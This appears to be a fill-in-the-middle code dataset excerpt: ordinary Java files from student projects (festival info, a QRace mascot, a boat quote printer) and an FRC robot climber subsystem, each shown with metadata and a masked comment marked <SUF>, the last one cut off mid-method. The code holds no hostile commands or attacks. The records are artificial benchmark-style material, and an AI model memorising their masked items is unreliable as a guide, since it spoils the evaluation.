| 22-project-programmeren-thomasmore/MechelenFeest | src/main/java/be/thomasmore/screeninfo/model/FestivalItem.java | 1,280 | // voor nu debuggen | line_comment | nl | package be.thomasmore.screeninfo.model;
import java.sql.Date;
import java.time.LocalDate;
import java.time.ZoneId;
public class FestivalItem {
public Integer id;
private String festivalName;
private String festivalImage;
private String backgroundColor;
private String date;
private String festivalLink;
private boolean onGoing; // om manueel te zeggen dat een event bezig is
private String busyness; // om op voorant te berekenen hoe druk he is
// voor positie op map
private float mapLat;
private float mapLng;
private String festivalType;
private Integer maxCapacity;
public FestivalItem(Festival festival){
id = festival.getId();
festivalName = festival.getFestivalName();
festivalImage = festival.getFestivalImage();
backgroundColor = festival.getBackgroundColor();
festivalLink = festival.getFestivalLink();
mapLat = festival.getMapLat();
mapLng = festival.getMapLng();
festivalType = festival.getFestivalType();
maxCapacity = festival.getMaxCapacity();
onGoing = Date.from(java.time.LocalDateTime.now().atZone(ZoneId.systemDefault()).toInstant()).after(festival.getStartDate());
// voor nu<SUF>
date = "";
LocalDate startDate = festival.getStartDate().toLocalDate();
LocalDate endDate = festival.getEndDate().toLocalDate();
if(startDate.getYear() != endDate.getYear()){
date = startDate.getDayOfMonth()+"-"+ startDate.getMonthValue()+"-"+startDate.getYear() + " / ";
}
else if(startDate.getMonth() != endDate.getMonth()){
date = startDate.getDayOfMonth()+"-"+ startDate.getMonthValue() + " / ";
}
else if(startDate.getDayOfMonth() != endDate.getDayOfMonth()){
date = startDate.getDayOfMonth() + " / ";
}
date += endDate.getDayOfMonth()+"-"+endDate.getMonthValue()+"-"+endDate.getYear();
int maxCapacity = festival.getMaxCapacity();
int population = festival.getPopulation();
if(maxCapacity < population){
busyness = "FULL";
}
else if(maxCapacity * 0.75 < population){
busyness = "BUSY";
}
else if(maxCapacity * 0.5 < population){
busyness = "MEDIUM BUSY";
}
else if(maxCapacity * 0.25 < population){
busyness = "CALM";
}
else {
busyness = "EMPTY";
}
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getFestivalName() {
return festivalName;
}
public void setFestivalName(String festivalName) {
this.festivalName = festivalName;
}
public String getFestivalImage() {
return festivalImage;
}
public void setFestivalImage(String festivalImage) {
this.festivalImage = festivalImage;
}
public String getBackgroundColor() {
return backgroundColor;
}
public void setBackgroundColor(String backgroundColor) {
this.backgroundColor = backgroundColor;
}
public void setDate(String date) {
this.date = date;
}
public String getDate() {
return date;
}
public void setFestivalLink(String festivalLink) {
this.festivalLink = festivalLink;
}
public String getFestivalLink() {
return festivalLink;
}
public void setOnGoing(boolean onGoing) {
this.onGoing = onGoing;
}
public boolean isOnGoing() {
return onGoing;
}
public String getBusyness() {
return busyness;
}
public void setBusyness(String busyness) {
this.busyness = busyness;
}
public void setMapLat(float mapLat) {
this.mapLat = mapLat;
}
public void setMapLng(float mapLng) {
this.mapLng = mapLng;
}
public float getMapLat() {
return mapLat;
}
public float getMapLng() {
return mapLng;
}
public String getFestivalType() {
return festivalType;
}
public void setFestivalType(String festivalType) {
this.festivalType = festivalType;
}
public Integer getMaxCapacity() {
return maxCapacity;
}
public void setMaxCapacity(Integer maxCapacity) {
this.maxCapacity = maxCapacity;
}
}
|
18917_0 | package be.thomasmore.qrace.model;
// de mascottes zijn de verschillende characters binnen QRace
public class Mascot {
private String name;
private String description;
public Mascot(String name, String description) {
this.name = name;
this.description = description;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
} | 22-project-programmeren-thomasmore/QRace | src/main/java/be/thomasmore/qrace/model/Mascot.java | 158 | // de mascottes zijn de verschillende characters binnen QRace | line_comment | nl | package be.thomasmore.qrace.model;
// de mascottes<SUF>
public class Mascot {
private String name;
private String description;
public Mascot(String name, String description) {
this.name = name;
this.description = description;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
} |
70177_8 | package frc.robot.subsystems.climber;
import com.revrobotics.CANSparkMax;
import com.revrobotics.CANSparkMaxLowLevel.MotorType;
import edu.wpi.first.math.MathUtil;
import edu.wpi.first.math.controller.PIDController;
import edu.wpi.first.networktables.NetworkTable;
import edu.wpi.first.networktables.NetworkTableEntry;
import edu.wpi.first.networktables.NetworkTableInstance;
import edu.wpi.first.wpilibj2.command.SubsystemBase;
import frc.robot.Constants;
import frc.robot.Constants.CAN;
import frc.robot.Constants.ClimbSettings;
public class Climber extends SubsystemBase {
// NTs
private NetworkTable table;
private NetworkTableEntry nte_sync_arms;
// command fixes
boolean outerLoopEnabled = false; // use sw position pids to control velocity
// Compensation "syncArms"
boolean syncArmsEnabled; // when true uses differential pos err to compensate
PIDController extCompPID = new PIDController(2.0, 0, 0); // input [in], output [in/s] Kp=[(in/s)/in-err]
PIDController rotCompPID = new PIDController(1.00, 0, 0); // input [deg], output [deg/s] Kp=[(deg/s)/deg-err]
double rot_compensation = 0.0; // [deg/s] from rotCompPID
double ext_compensation = 0.0; // [in/s] from extCompPID
// postion goals - software outer loops for position
PIDController rotPosL = new PIDController(5.0, 0.0, 0.0); // in degs-err out: vel deg/s
PIDController rotPosR = new PIDController(5.0, 0.0, 0.0); // in degs-err out: vel deg/s
PIDController extPosL = new PIDController(8.0, 0.0, 0.0); // in inch-err out vel in/s
PIDController extPosR = new PIDController(8.0, 0.0, 0.0); // in inch-err out vel in/s
private CANSparkMax left_motor_rot = new CANSparkMax(CAN.CMB_LEFT_Rotate, MotorType.kBrushless);
private CANSparkMax right_motor_rot = new CANSparkMax(CAN.CMB_RIGHT_Rotate, MotorType.kBrushless);
private CANSparkMax left_motor_ext = new CANSparkMax(CAN.CMB_LEFT_Extend, MotorType.kBrushless);
private CANSparkMax right_motor_ext = new CANSparkMax(CAN.CMB_RIGHT_Extend, MotorType.kBrushless);
private ArmExtension left_Arm_ext;
private ArmExtension right_Arm_ext;
private ArmRotation left_Arm_rot;
private ArmRotation right_Arm_rot;
public Climber() {
table = NetworkTableInstance.getDefault().getTable("Climber");
nte_sync_arms = table.getEntry("syncArms");
nte_sync_arms.setBoolean(syncArmsEnabled);
// 550 NEO
left_Arm_rot = new ArmRotation(table.getSubTable("left_arm_rotation"), left_motor_rot, true, 0.20);
right_Arm_rot = new ArmRotation(table.getSubTable("right_arm_rotation"), right_motor_rot, false, 0.20);
right_Arm_ext = new ArmExtension(table.getSubTable("right_arm_extension"), right_motor_ext, false);
left_Arm_ext = new ArmExtension(table.getSubTable("left_arm_extension"), left_motor_ext, true);
//Outer loop position tolerance
rotPosL.setTolerance(ClimbSettings.TOLERANCE_ROT, ClimbSettings.TOLERANCE_ROT_RATE);
rotPosR.setTolerance(ClimbSettings.TOLERANCE_ROT, ClimbSettings.TOLERANCE_ROT_RATE);
extPosL.setTolerance(ClimbSettings.TOLERANCE_EXT, ClimbSettings.TOLERANCE_EXT_VEL);
extPosR.setTolerance(ClimbSettings.TOLERANCE_EXT, ClimbSettings.TOLERANCE_EXT_VEL);
//Set min/max integrator range on outerloop position PID (default is 1.0 otherwise)
rotPosL.setIntegratorRange(ClimbSettings.ROT_INTEGRATOR_MIN, ClimbSettings.ROT_INTEGRATOR_MIN);
rotPosR.setIntegratorRange(ClimbSettings.ROT_INTEGRATOR_MIN, ClimbSettings.ROT_INTEGRATOR_MIN);
setArmSync(false);
setOuterLoop(false);
setStartingPos();
// finish hardware limits
setAmperageExtLimit(ClimbSettings.MAX_EXT_AMPS);
setAmperageRotLimit(ClimbSettings.MAX_ROT_AMPS);
}
public void setStartingPos() {
//reset hardware pid
left_Arm_rot.resetPID();
right_Arm_rot.resetPID();
// approx centered
left_Arm_ext.setEncoderPos(0.0);
right_Arm_ext.setEncoderPos(0.0);
// arms vertical
left_Arm_rot.setEncoderPos(0.0);
if (Math.abs(left_Arm_rot.getRotationDegrees()) > 0.0001) {
//System.out.println("warning -->" + left_Arm_rot.getRotationDegrees() +
// " left rot pos not zero!!!!!!!!");
left_Arm_rot.setEncoderPos(0.0);
}
right_Arm_rot.setEncoderPos(0.0);
if (Math.abs(right_Arm_rot.getRotationDegrees()) > 0.0001) {
//System.out.println("warning -->" + right_Arm_rot.getRotationDegrees() +
//" right rot pos not zero!!!!!!!!");
right_Arm_rot.setEncoderPos(0.0);
}
//compensation loop
extCompPID.reset();
rotCompPID.reset();
//clear all position pids
extPosL.reset();
extPosR.reset();
rotPosL.reset();
rotPosR.reset();
// setpoints for sw outer loop
setExtension(0.0);
setRotation(0.0);
}
public boolean readyToClimb() {
// returns if robot is in the right position, and all motors are in place
return false;
}
public String rung() {
return "blank";
}
public boolean readyToTraverse() {
return false;
}
// @param inches from extender absolute position
public void setExtension(double inches) {
extPosL.setSetpoint(inches);
extPosR.setSetpoint(inches);
}
public void setRotation(double rotationDegrees) {
rotPosL.setSetpoint(rotationDegrees);
rotPosR.setSetpoint(rotationDegrees);
}
/**
*
* @param ext_spd [in/s]
*/
public void setExtSpeed(double ext_spd) {
setExtSpeed(ext_spd, ext_spd);
}
public void setExtSpeed(double ext_spdlt, double ext_spdrt) {
//split the sync comp and remove/add a bit
double comp = (syncArmsEnabled) ? ext_compensation/2.0 : 0.0;
left_Arm_ext.setSpeed(ext_spdlt - comp);
right_Arm_ext.setSpeed(ext_spdrt + comp);
}
/**
*
* @param rot_spd [deg/s]
*/
public void setRotSpeed(double rot_spd) {
setRotSpeed(rot_spd, rot_spd);
}
public void setRotSpeed(double rot_spd_lt, double rot_spd_rt) {
double comp = (syncArmsEnabled) ? rot_compensation/2.0 : 0.0;
left_Arm_rot.setRotRate(rot_spd_lt - comp);
right_Arm_rot.setRotRate(rot_spd_rt + comp);
}
public void setArmSync(boolean sync) {
syncArmsEnabled = sync;
nte_sync_arms.setBoolean(syncArmsEnabled);
}
public void hold() {
//hardware stop
setExtSpeed(0.0);
setRotSpeed(0.0);
//clear sw pid states
extPosR.reset();
extPosL.reset();
rotPosL.reset();
rotPosR.reset();
//command where we are, update setpoints with current position
extPosL.setSetpoint(left_Arm_ext.getInches());
extPosR.setSetpoint(right_Arm_ext.getInches());
rotPosL.setSetpoint(left_Arm_rot.getRotationDegrees());
rotPosR.setSetpoint(right_Arm_rot.getRotationDegrees());
//outerloop & syncArms as controled by command
}
@Override
public void periodic() {
// control left with PIDs, rt will follow
double ext_velL = extPosL.calculate(getLeftExtInches());
double rot_velL = rotPosL.calculate(getLeftRotation());
double ext_velR = extPosR.calculate(getRightExtInches());
double rot_velR = rotPosR.calculate(getRightRotation());
ext_velL = MathUtil.clamp(ext_velL, -ClimbSettings.MAX_VELOCITY_EXT, ClimbSettings.MAX_VELOCITY_EXT);
rot_velL = MathUtil.clamp(rot_velL, -ClimbSettings.MAX_VELOCITY_ROT, ClimbSettings.MAX_VELOCITY_ROT);
ext_velR = MathUtil.clamp(ext_velR, -ClimbSettings.MAX_VELOCITY_EXT, ClimbSettings.MAX_VELOCITY_EXT);
rot_velR = MathUtil.clamp(rot_velR, -ClimbSettings.MAX_VELOCITY_ROT, ClimbSettings.MAX_VELOCITY_ROT);
//c
ext_compensation = 0.0;
rot_compensation = 0.0;
if (syncArmsEnabled) {
extCompPID.setSetpoint(getLeftExtInches());
rotCompPID.setSetpoint(getLeftRotation());
ext_compensation = extCompPID.calculate(getRightExtInches());
rot_compensation = rotCompPID.calculate(getRightRotation());
}
// output new speed settings
if (outerLoopEnabled) {
setExtSpeed(ext_velL, ext_velR);
setRotSpeed(rot_velL, rot_velR);
}
left_Arm_ext.periodic();
right_Arm_ext.periodic();
left_Arm_rot.periodic();
right_Arm_rot.periodic();
}
public double getLeftExtInches() {
return left_Arm_ext.getInches();
}
public double getRightExtInches() {
return right_Arm_ext.getInches();
}
public double getLeftRotation() {
return left_Arm_rot.getRotationDegrees();
}
public double getRightRotation() {
return right_Arm_rot.getRotationDegrees();
}
public void setAmperageExtLimit(int limit) {
right_motor_ext.setSmartCurrentLimit(limit);
left_motor_ext.setSmartCurrentLimit(limit);
}
public void setAmperageRotLimit(int limit) {
// brushless only
//right_motor_rot.setSmartCurrentLimit(limit);
//left_motor_rot.setSmartCurrentLimit(limit);
// brushed
right_motor_rot.setSecondaryCurrentLimit(limit);
left_motor_rot.setSecondaryCurrentLimit(limit);
}
public void setOuterLoop(boolean enable) {
outerLoopEnabled = enable;
}
/**
* outerLoopDone checks for rotation,extension, and combined when using
* the software pids for positon control.
* @return
*/
public boolean outerLoopExtDone() {
return extPosL.atSetpoint() && extPosR.atSetpoint();
}
public boolean outerLoopRotDone() {
return rotPosL.atSetpoint() && rotPosR.atSetpoint();
}
public boolean outerLoopDone() {
return outerLoopExtDone() && outerLoopRotDone();
}
/**
* Note - this doesn't check the velocity of the actuatorators.
* Consider using the outerLoop softare pid tests.
*
* @param ext_pos target extension
* @param rot_pos target rotation
* @return
*/
public boolean checkIsFinished(double ext_pos, double rot_pos) {
boolean extDone = (Math.abs(this.getLeftExtInches() - ext_pos) <= ClimbSettings.TOLERANCE_EXT)
&& (Math.abs(this.getRightExtInches() - ext_pos) <= ClimbSettings.TOLERANCE_EXT);
boolean rotDone =
(Math.abs(this.getLeftRotation() - rot_pos) <= Constants.ClimbSettings.TOLERANCE_ROT)
&& (Math.abs(this.getRightRotation() - rot_pos) <= Constants.ClimbSettings.TOLERANCE_ROT);
return (extDone && rotDone);
}
/**
* accessors for rotation and extension objects - used for testing
*
* @return
*/
public ArmRotation getLeftArmRotation() {
return left_Arm_rot;
}
public ArmRotation getRightArmRotation() {
return right_Arm_rot;
}
public ArmExtension getLeftArmExtension() {
return left_Arm_ext;
}
public ArmExtension getRightArmExtension() {
return right_Arm_ext;
}
@Deprecated
public void setPercentOutputRot(double pct_l, double pct_r) {
left_Arm_rot.setPercentOutput(pct_l);
right_Arm_rot.setPercentOutput(pct_r);
}
} | 2202Programming/FRC2022 | src/main/java/frc/robot/subsystems/climber/Climber.java | 3,889 | // in degs-err out: vel deg/s | line_comment | nl | package frc.robot.subsystems.climber;
import com.revrobotics.CANSparkMax;
import com.revrobotics.CANSparkMaxLowLevel.MotorType;
import edu.wpi.first.math.MathUtil;
import edu.wpi.first.math.controller.PIDController;
import edu.wpi.first.networktables.NetworkTable;
import edu.wpi.first.networktables.NetworkTableEntry;
import edu.wpi.first.networktables.NetworkTableInstance;
import edu.wpi.first.wpilibj2.command.SubsystemBase;
import frc.robot.Constants;
import frc.robot.Constants.CAN;
import frc.robot.Constants.ClimbSettings;
public class Climber extends SubsystemBase {
// NTs
private NetworkTable table;
private NetworkTableEntry nte_sync_arms;
// command fixes
boolean outerLoopEnabled = false; // use sw position pids to control velocity
// Compensation "syncArms"
boolean syncArmsEnabled; // when true uses differential pos err to compensate
PIDController extCompPID = new PIDController(2.0, 0, 0); // input [in], output [in/s] Kp=[(in/s)/in-err]
PIDController rotCompPID = new PIDController(1.00, 0, 0); // input [deg], output [deg/s] Kp=[(deg/s)/deg-err]
double rot_compensation = 0.0; // [deg/s] from rotCompPID
double ext_compensation = 0.0; // [in/s] from extCompPID
// postion goals - software outer loops for position
PIDController rotPosL = new PIDController(5.0, 0.0, 0.0); // in degs-err<SUF>
PIDController rotPosR = new PIDController(5.0, 0.0, 0.0); // in degs-err out: vel deg/s
PIDController extPosL = new PIDController(8.0, 0.0, 0.0); // in inch-err out vel in/s
PIDController extPosR = new PIDController(8.0, 0.0, 0.0); // in inch-err out vel in/s
private CANSparkMax left_motor_rot = new CANSparkMax(CAN.CMB_LEFT_Rotate, MotorType.kBrushless);
private CANSparkMax right_motor_rot = new CANSparkMax(CAN.CMB_RIGHT_Rotate, MotorType.kBrushless);
private CANSparkMax left_motor_ext = new CANSparkMax(CAN.CMB_LEFT_Extend, MotorType.kBrushless);
private CANSparkMax right_motor_ext = new CANSparkMax(CAN.CMB_RIGHT_Extend, MotorType.kBrushless);
private ArmExtension left_Arm_ext;
private ArmExtension right_Arm_ext;
private ArmRotation left_Arm_rot;
private ArmRotation right_Arm_rot;
public Climber() {
table = NetworkTableInstance.getDefault().getTable("Climber");
nte_sync_arms = table.getEntry("syncArms");
nte_sync_arms.setBoolean(syncArmsEnabled);
// 550 NEO
left_Arm_rot = new ArmRotation(table.getSubTable("left_arm_rotation"), left_motor_rot, true, 0.20);
right_Arm_rot = new ArmRotation(table.getSubTable("right_arm_rotation"), right_motor_rot, false, 0.20);
right_Arm_ext = new ArmExtension(table.getSubTable("right_arm_extension"), right_motor_ext, false);
left_Arm_ext = new ArmExtension(table.getSubTable("left_arm_extension"), left_motor_ext, true);
//Outer loop position tolerance
rotPosL.setTolerance(ClimbSettings.TOLERANCE_ROT, ClimbSettings.TOLERANCE_ROT_RATE);
rotPosR.setTolerance(ClimbSettings.TOLERANCE_ROT, ClimbSettings.TOLERANCE_ROT_RATE);
extPosL.setTolerance(ClimbSettings.TOLERANCE_EXT, ClimbSettings.TOLERANCE_EXT_VEL);
extPosR.setTolerance(ClimbSettings.TOLERANCE_EXT, ClimbSettings.TOLERANCE_EXT_VEL);
//Set min/max integrator range on outerloop position PID (default is 1.0 otherwise)
rotPosL.setIntegratorRange(ClimbSettings.ROT_INTEGRATOR_MIN, ClimbSettings.ROT_INTEGRATOR_MIN);
rotPosR.setIntegratorRange(ClimbSettings.ROT_INTEGRATOR_MIN, ClimbSettings.ROT_INTEGRATOR_MIN);
setArmSync(false);
setOuterLoop(false);
setStartingPos();
// finish hardware limits
setAmperageExtLimit(ClimbSettings.MAX_EXT_AMPS);
setAmperageRotLimit(ClimbSettings.MAX_ROT_AMPS);
}
public void setStartingPos() {
//reset hardware pid
left_Arm_rot.resetPID();
right_Arm_rot.resetPID();
// approx centered
left_Arm_ext.setEncoderPos(0.0);
right_Arm_ext.setEncoderPos(0.0);
// arms vertical
left_Arm_rot.setEncoderPos(0.0);
if (Math.abs(left_Arm_rot.getRotationDegrees()) > 0.0001) {
//System.out.println("warning -->" + left_Arm_rot.getRotationDegrees() +
// " left rot pos not zero!!!!!!!!");
left_Arm_rot.setEncoderPos(0.0);
}
right_Arm_rot.setEncoderPos(0.0);
if (Math.abs(right_Arm_rot.getRotationDegrees()) > 0.0001) {
//System.out.println("warning -->" + right_Arm_rot.getRotationDegrees() +
//" right rot pos not zero!!!!!!!!");
right_Arm_rot.setEncoderPos(0.0);
}
//compensation loop
extCompPID.reset();
rotCompPID.reset();
//clear all position pids
extPosL.reset();
extPosR.reset();
rotPosL.reset();
rotPosR.reset();
// setpoints for sw outer loop
setExtension(0.0);
setRotation(0.0);
}
public boolean readyToClimb() {
// returns if robot is in the right position, and all motors are in place
return false;
}
public String rung() {
return "blank";
}
public boolean readyToTraverse() {
return false;
}
// @param inches from extender absolute position
public void setExtension(double inches) {
extPosL.setSetpoint(inches);
extPosR.setSetpoint(inches);
}
public void setRotation(double rotationDegrees) {
rotPosL.setSetpoint(rotationDegrees);
rotPosR.setSetpoint(rotationDegrees);
}
/**
*
* @param ext_spd [in/s]
*/
public void setExtSpeed(double ext_spd) {
setExtSpeed(ext_spd, ext_spd);
}
public void setExtSpeed(double ext_spdlt, double ext_spdrt) {
//split the sync comp and remove/add a bit
double comp = (syncArmsEnabled) ? ext_compensation/2.0 : 0.0;
left_Arm_ext.setSpeed(ext_spdlt - comp);
right_Arm_ext.setSpeed(ext_spdrt + comp);
}
/**
*
* @param rot_spd [deg/s]
*/
public void setRotSpeed(double rot_spd) {
setRotSpeed(rot_spd, rot_spd);
}
public void setRotSpeed(double rot_spd_lt, double rot_spd_rt) {
double comp = (syncArmsEnabled) ? rot_compensation/2.0 : 0.0;
left_Arm_rot.setRotRate(rot_spd_lt - comp);
right_Arm_rot.setRotRate(rot_spd_rt + comp);
}
public void setArmSync(boolean sync) {
syncArmsEnabled = sync;
nte_sync_arms.setBoolean(syncArmsEnabled);
}
public void hold() {
//hardware stop
setExtSpeed(0.0);
setRotSpeed(0.0);
//clear sw pid states
extPosR.reset();
extPosL.reset();
rotPosL.reset();
rotPosR.reset();
//command where we are, update setpoints with current position
extPosL.setSetpoint(left_Arm_ext.getInches());
extPosR.setSetpoint(right_Arm_ext.getInches());
rotPosL.setSetpoint(left_Arm_rot.getRotationDegrees());
rotPosR.setSetpoint(right_Arm_rot.getRotationDegrees());
//outerloop & syncArms as controled by command
}
@Override
public void periodic() {
// control left with PIDs, rt will follow
double ext_velL = extPosL.calculate(getLeftExtInches());
double rot_velL = rotPosL.calculate(getLeftRotation());
double ext_velR = extPosR.calculate(getRightExtInches());
double rot_velR = rotPosR.calculate(getRightRotation());
ext_velL = MathUtil.clamp(ext_velL, -ClimbSettings.MAX_VELOCITY_EXT, ClimbSettings.MAX_VELOCITY_EXT);
rot_velL = MathUtil.clamp(rot_velL, -ClimbSettings.MAX_VELOCITY_ROT, ClimbSettings.MAX_VELOCITY_ROT);
ext_velR = MathUtil.clamp(ext_velR, -ClimbSettings.MAX_VELOCITY_EXT, ClimbSettings.MAX_VELOCITY_EXT);
rot_velR = MathUtil.clamp(rot_velR, -ClimbSettings.MAX_VELOCITY_ROT, ClimbSettings.MAX_VELOCITY_ROT);
//c
ext_compensation = 0.0;
rot_compensation = 0.0;
if (syncArmsEnabled) {
extCompPID.setSetpoint(getLeftExtInches());
rotCompPID.setSetpoint(getLeftRotation());
ext_compensation = extCompPID.calculate(getRightExtInches());
rot_compensation = rotCompPID.calculate(getRightRotation());
}
// output new speed settings
if (outerLoopEnabled) {
setExtSpeed(ext_velL, ext_velR);
setRotSpeed(rot_velL, rot_velR);
}
left_Arm_ext.periodic();
right_Arm_ext.periodic();
left_Arm_rot.periodic();
right_Arm_rot.periodic();
}
public double getLeftExtInches() {
return left_Arm_ext.getInches();
}
public double getRightExtInches() {
return right_Arm_ext.getInches();
}
public double getLeftRotation() {
return left_Arm_rot.getRotationDegrees();
}
public double getRightRotation() {
return right_Arm_rot.getRotationDegrees();
}
public void setAmperageExtLimit(int limit) {
right_motor_ext.setSmartCurrentLimit(limit);
left_motor_ext.setSmartCurrentLimit(limit);
}
public void setAmperageRotLimit(int limit) {
// brushless only
//right_motor_rot.setSmartCurrentLimit(limit);
//left_motor_rot.setSmartCurrentLimit(limit);
// brushed
right_motor_rot.setSecondaryCurrentLimit(limit);
left_motor_rot.setSecondaryCurrentLimit(limit);
}
public void setOuterLoop(boolean enable) {
outerLoopEnabled = enable;
}
/**
* outerLoopDone checks for rotation,extension, and combined when using
* the software pids for positon control.
* @return
*/
public boolean outerLoopExtDone() {
return extPosL.atSetpoint() && extPosR.atSetpoint();
}
public boolean outerLoopRotDone() {
return rotPosL.atSetpoint() && rotPosR.atSetpoint();
}
public boolean outerLoopDone() {
return outerLoopExtDone() && outerLoopRotDone();
}
/**
* Note - this doesn't check the velocity of the actuatorators.
* Consider using the outerLoop softare pid tests.
*
* @param ext_pos target extension
* @param rot_pos target rotation
* @return
*/
public boolean checkIsFinished(double ext_pos, double rot_pos) {
boolean extDone = (Math.abs(this.getLeftExtInches() - ext_pos) <= ClimbSettings.TOLERANCE_EXT)
&& (Math.abs(this.getRightExtInches() - ext_pos) <= ClimbSettings.TOLERANCE_EXT);
boolean rotDone =
(Math.abs(this.getLeftRotation() - rot_pos) <= Constants.ClimbSettings.TOLERANCE_ROT)
&& (Math.abs(this.getRightRotation() - rot_pos) <= Constants.ClimbSettings.TOLERANCE_ROT);
return (extDone && rotDone);
}
/**
* accessors for rotation and extension objects - used for testing
*
* @return
*/
public ArmRotation getLeftArmRotation() {
return left_Arm_rot;
}
public ArmRotation getRightArmRotation() {
return right_Arm_rot;
}
public ArmExtension getLeftArmExtension() {
return left_Arm_ext;
}
public ArmExtension getRightArmExtension() {
return right_Arm_ext;
}
@Deprecated
public void setPercentOutputRot(double pct_l, double pct_r) {
left_Arm_rot.setPercentOutput(pct_l);
right_Arm_rot.setPercentOutput(pct_r);
}
} |
132832_0 | package Shipflex;
import Boat.Boat;
import Boat.Option;
import Customer.CustomCustomer;
import Customer.BusinessCustomer;
import Customer.FoundationCustomer;
import Customer.GovermentCustomer;
import DataInOut.Info;
import DataInOut.Printer;
import java.util.ArrayList;
import java.util.List;
public class Quote {
private Company companyShipbuild;
private CustomCustomer customCustomer;
private BusinessCustomer businessCustomer;
private GovermentCustomer govermentCustomer;
private FoundationCustomer foundationCustomer;
private String date;
private String quoteDate;
private String about;
private double workHoursCost;
private Boat boat;
public Quote(Company companyShipbuild, Boat boat) {
this.companyShipbuild = companyShipbuild;
this.businessCustomer = null;
this.customCustomer = null;
this.govermentCustomer = null;
this.foundationCustomer = null;
this.boat = boat;
}
public void setCustomCustomer(CustomCustomer customCustomer) {
this.customCustomer = customCustomer;
}
public void setBusinessCustomer(BusinessCustomer businessCustomer) {
this.businessCustomer = businessCustomer;
}
public void setGovermentCustomer(GovermentCustomer govermentCustomer) {
this.govermentCustomer = govermentCustomer;
}
public void setFoundationCustomer(FoundationCustomer foundationCustomer) {
this.foundationCustomer = foundationCustomer;
}
public void setAbout(String about) {
this.about = about;
}
public void setDate(String date) {
this.date = date;
}
public void setQuoteDate(String quoteDate) {
this.quoteDate = quoteDate;
}
public void setBoat(Boat boat) {
this.boat = boat;
}
public Boat getBoat() {
return boat;
}
public CustomCustomer getCustomCustomer() {
return customCustomer;
}
public BusinessCustomer getBusinessCustomer() {
return businessCustomer;
}
public GovermentCustomer getGovermentCustomer() {
return govermentCustomer;
}
public FoundationCustomer getFoundationCustomer() {
return foundationCustomer;
}
public void setWorkHoursCost(double workHoursCost) {
this.workHoursCost = workHoursCost;
}
public void printCustomer() {
switch (checkCustomerType()) {
case "goverment":
govermentCustomer.printCustomer();
break;
case "business":
businessCustomer.printCustomer();
break;
case "foundation":
foundationCustomer.printCustomer();
break;
case "customer":
customCustomer.printCustomer();
break;
default:
Printer.getInstance().printLine("Nog geen klant toegevoegd");
break;
}
}
private String checkCustomerType() {
if (govermentCustomer != null) {
return "goverment";
} else if (businessCustomer != null) {
return "business";
} else if (customCustomer != null) {
return "customer";
} else if (foundationCustomer != null) {
return "foundation";
} else {
return "";
}
}
public void printOptions(boolean showIndex) {
for (Option option : this.boat.getOptions()) {
if (showIndex)
Info.printOptionInfo(option, Info.getOptions().indexOf(option));
else
Info.printOptionInfo(option, -1);
Printer.getInstance().emptyLine();
}
}
public void printDate() {
if (this.date != null && !this.date.equals("")) {
Printer.getInstance().printLine("Datum: " + this.date);
} else {
Printer.getInstance().printLine("Datum nog niet ingevuld");
}
if (this.quoteDate != null && !this.quoteDate.equals("")) {
Printer.getInstance().printLine("Geldigsheid datum: " + this.quoteDate);
} else {
Printer.getInstance().printLine("Geldigsheid datum nog niet ingevuld");
}
}
public void printBasicInformation() {
companyShipbuild.printCompany();
Printer.getInstance().emptyLine();
printCustomer();
Printer.getInstance().emptyLine();
printDate();
Printer.getInstance().emptyLine();
if(this.about != null && !this.about.equals("")) {
Printer.getInstance().printLine("Betreft: " + this.about);
}else {
Printer.getInstance().printLine("Betreft is nog niet ingevuld");
}
Printer.getInstance().emptyLine();
}
public void printQuote() {
Printer.getInstance().printCharacters(129, '━');
Printer.getInstance().emptyLine();
this.printBasicInformation();
Printer.getInstance().printCharacters(78, '﹏');
Printer.getInstance().emptyLine();
boat.printBoat();
Printer.getInstance().printCharacters(78, '﹏');
Printer.getInstance().emptyLine();
this.printOptions();
Printer.getInstance().emptyLine();
this.printTotal();
Printer.getInstance().emptyLine();
Printer.getInstance().printCharacters(129, '━');
}
public void printOptions() {
List<Option> essentialOptions = new ArrayList<>();
List<Option> extraOptions = new ArrayList<>();
for (Option option : boat.getOptions()) {
if (option.getEssentialForBoatType().contains(boat.getType().toLowerCase()))
essentialOptions.add(option);
else
extraOptions.add(option);
}
printOptionsListFormatted(essentialOptions);
printOptionsListFormatted(extraOptions);
}
private void printOptionsListFormatted(List<Option> options) {
for (Option option : options) {
option.printOptionInfoForBoat(boat.getType());
}
}
public int getDiscount() {
int discount = 0;
switch (checkCustomerType()) {
case "goverment":
discount = govermentCustomer.getDiscount();
break;
case "business":
discount = businessCustomer.getDiscount();
break;
case "foundation":
discount = foundationCustomer.getDiscount();
break;
case "customer":
discount = customCustomer.getDiscount();
break;
}
return 100 - discount;
}
public double calculatePercentage(int percentage, double price) {
return (price / 100) * percentage;
}
public double calculateBoatPrice() {
double price = 0;
price += boat.getBasePrice();
for (Option option : boat.getOptions()) {
price += option.getPrice();
}
return price;
}
public void printTotal() {
Printer.getInstance().emptyLine();
//Totaal prijs boot
double totalPriceBoat = calculateBoatPrice();
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
//Totaal prijs boot met korting
if (getDiscount() < 100 && getDiscount() > 0) {
totalPriceBoat = calculatePercentage(getDiscount(), totalPriceBoat);
Printer.getInstance().printFormatInfo(String.format("Totaal prijs boot met korting:"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", totalPriceBoat));
Printer.getInstance().emptyLine();
}
//prijs arbeids uren
Printer.getInstance().emptyLine();
double workCost = workHoursCost;
Printer.getInstance().printFormatInfo("Prijs arbeids uren:");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo(String.format("%.2f", workCost));
Printer.getInstance().emptyLine();
Printer.getInstance().emptyLine();
//prijs arbeids uren incl
workCost = calculatePercentage(109, workCost);
Printer.getInstance().printFormatInfo(String.format("Prijs arbeids uren incl. Btw(9%%):"));
Printer.getInstance().printFormatInfo("");
Printer.getInstance().printFormatInfo("");
